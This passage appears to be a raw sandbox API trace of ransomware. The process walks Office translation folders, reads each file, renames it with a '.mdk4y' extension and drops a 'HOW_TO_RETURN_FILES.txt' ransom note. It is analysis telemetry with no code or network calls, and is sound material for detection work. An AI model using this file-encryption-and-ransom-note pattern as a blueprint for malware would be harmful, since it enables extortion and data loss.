Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.mdk4y")) returned 1 [0122.557] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0122.557] AreFileApisANSI () returned 1 [0122.557] GetACP () returned 0x4e4 [0122.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WT61ES.LEX", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WT61ES.LEXTS", lpUsedDefaultChar=0x37dec0) returned 10 [0122.557] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0122.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819778800000) returned 1 [0122.558] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa5c00, lpOverlapped=0x0) returned 1 [0122.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819785300000) returned 1 [0122.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819785300000) returned 1 [0122.629] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.mdk4y")) returned 1 [0122.658] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0122.659] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0122.659] AreFileApisANSI () returned 1 [0122.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0122.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0122.659] GetFileType (hFile=0x130) returned 0x1 [0122.660] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0122.660] AreFileApisANSI () returned 1 [0122.660] GetACP () returned 0x4e4 [0122.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FRAR", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FRAR", lpUsedDefaultChar=0x37df4c) returned 4 [0122.660] AreFileApisANSI () returned 1 [0122.660] GetACP () returned 0x4e4 [0122.660] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\j筰kƵ") returned 61 [0122.661] AreFileApisANSI () returned 1 [0122.661] GetACP () returned 0x4e4 [0122.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0122.661] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0122.661] AreFileApisANSI () returned 1 [0122.661] GetACP () returned 0x4e4 [0122.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0122.661] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0122.661] AreFileApisANSI () returned 1 [0122.661] GetACP () returned 0x4e4 [0122.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1FRAR.ITS", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSB1FRAR.ITSfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0122.661] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0122.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819789100000) returned 1 [0122.661] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x100000, lpOverlapped=0x0) returned 1 [0122.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819795600000) returned 1 [0122.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819795600000) returned 1 [0122.808] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.mdk4y")) returned 1 [0122.814] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0122.815] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0122.815] AreFileApisANSI () returned 1 [0122.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0122.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0122.815] GetFileType (hFile=0x130) returned 0x1 [0122.816] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0122.816] AreFileApisANSI () returned 1 [0122.816] GetACP () returned 0x4e4 [0122.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FREN", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FREN", lpUsedDefaultChar=0x37df4c) returned 4 [0122.816] AreFileApisANSI () returned 1 [0122.816] GetACP () returned 0x4e4 [0122.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\j筰kƷ") returned 61 [0122.817] AreFileApisANSI () returned 1 [0122.817] GetACP () returned 0x4e4 [0122.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0122.817] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0122.817] AreFileApisANSI () returned 1 [0122.817] GetACP () returned 0x4e4 [0122.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0122.817] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0122.817] AreFileApisANSI () returned 1 [0122.817] GetACP () returned 0x4e4 [0122.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1FREN.DLL", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSB1FREN.DLLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0122.817] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0122.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819804900000) returned 1 [0122.819] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x38200, lpOverlapped=0x0) returned 1 [0122.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819807500000) returned 1 [0122.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819808100000) returned 1 [0122.853] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll.mdk4y")) returned 1 [0122.854] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0122.854] AreFileApisANSI () returned 1 [0122.854] GetACP () returned 0x4e4 [0122.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1FREN.ITS", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSB1FREN.ITS", lpUsedDefaultChar=0x37dec0) returned 12 [0122.854] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0122.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819808400000) returned 1 [0122.854] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xcd2ac, lpOverlapped=0x0) returned 1 [0123.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819827300000) returned 1 [0123.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819827300000) returned 1 [0123.050] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.mdk4y")) returned 1 [0123.051] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0123.051] AreFileApisANSI () returned 1 [0123.051] GetACP () returned 0x4e4 [0123.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WT61FR.LEX", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WT61FR.LEXTS", lpUsedDefaultChar=0x37dec0) returned 10 [0123.051] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0123.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819828200000) returned 1 [0123.052] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x96a00, lpOverlapped=0x0) returned 1 [0123.221] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819845100000) returned 1 [0123.221] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819845100000) returned 1 [0123.226] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.mdk4y")) returned 1 [0123.297] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0123.297] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0123.297] AreFileApisANSI () returned 1 [0123.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0123.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0123.298] GetFileType (hFile=0x130) returned 0x1 [0123.299] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0123.299] AreFileApisANSI () returned 1 [0123.299] GetACP () returned 0x4e4 [0123.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1AR.LEX", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSB1AR.LEXMicrosoft Shared\\THEMES14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 10 [0123.299] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0123.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819852900000) returned 1 [0123.299] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0123.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819855100000) returned 1 [0123.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819855100000) returned 1 [0123.343] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.mdk4y")) returned 1 [0123.344] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0123.344] AreFileApisANSI () returned 1 [0123.344] GetACP () returned 0x4e4 [0123.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1CACH.LEX", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSB1CACH.LEXcrosoft Shared\\THEMES14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 12 [0123.344] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0123.345] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819857500000) returned 1 [0123.345] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x600, lpOverlapped=0x0) returned 1 [0123.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819861700000) returned 1 [0123.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819861700000) returned 1 [0123.387] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.mdk4y")) returned 1 [0123.388] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0123.388] AreFileApisANSI () returned 1 [0123.388] GetACP () returned 0x4e4 [0123.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1CORE.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSB1CORE.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0123.388] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0123.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819862000000) returned 1 [0123.390] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b990, lpOverlapped=0x0) returned 1 [0123.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819864100000) returned 1 [0123.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819864100000) returned 1 [0123.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll.mdk4y")) returned 1 [0123.413] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0123.413] AreFileApisANSI () returned 1 [0123.413] GetACP () returned 0x4e4 [0123.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1STAR.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSB1STAR.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0123.413] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0123.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819864300000) returned 1 [0123.414] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x40f70, lpOverlapped=0x0) returned 1 [0123.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819866900000) returned 1 [0123.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819866900000) returned 1 [0123.441] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll.mdk4y")) returned 1 [0123.442] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0123.442] AreFileApisANSI () returned 1 [0123.442] GetACP () returned 0x4e4 [0123.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1XTOR.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSB1XTOR.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0123.442] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0123.443] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819867300000) returned 1 [0123.443] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11390, lpOverlapped=0x0) returned 1 [0123.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819867400000) returned 1 [0123.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819867400000) returned 1 [0123.445] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll.mdk4y")) returned 1 [0123.446] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0123.446] AreFileApisANSI () returned 1 [0123.446] GetACP () returned 0x4e4 [0123.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WTSP61MS.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: 